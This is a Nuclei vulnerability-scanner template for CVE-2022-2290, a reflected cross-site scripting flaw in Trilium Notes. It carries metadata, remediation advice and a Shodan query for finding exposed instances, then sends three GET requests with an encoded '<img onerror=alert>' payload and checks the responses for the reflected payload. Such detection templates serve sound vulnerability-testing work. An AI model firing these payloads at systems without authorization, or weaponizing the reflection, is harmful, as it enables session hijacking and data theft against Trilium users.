id: CVE-2022-2290

info:
  name: Trilium <0.52.4 - Cross-Site Scripting
  author: dbrwsky
  severity: medium
  description: Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.
  remediation: |
    Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
    - https://github.com/zadam/trilium
    - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2290
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2290
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40139
    cpe: cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: trilium_project
    product: trilium
    shodan-query: title:"Trilium Notes"
  tags: cve,cve2022,xss,trilium,huntr,trilium_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "No handler matched for custom <img src=x onerror=alert(document.domain)>"
          - "Note '<img src=x onerror=alert(document.domain)>' not found"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 404
# digest: 4a0a004730450221009f17fcdc98badc0464257c420fab598e7343e41d66382b910b98fd7005d968a0022040758dbc4500b3ca9aaa3096213583ee7175eb34c798a02991e0af55731a6641:922c64590222798bb761d5b6d8e72950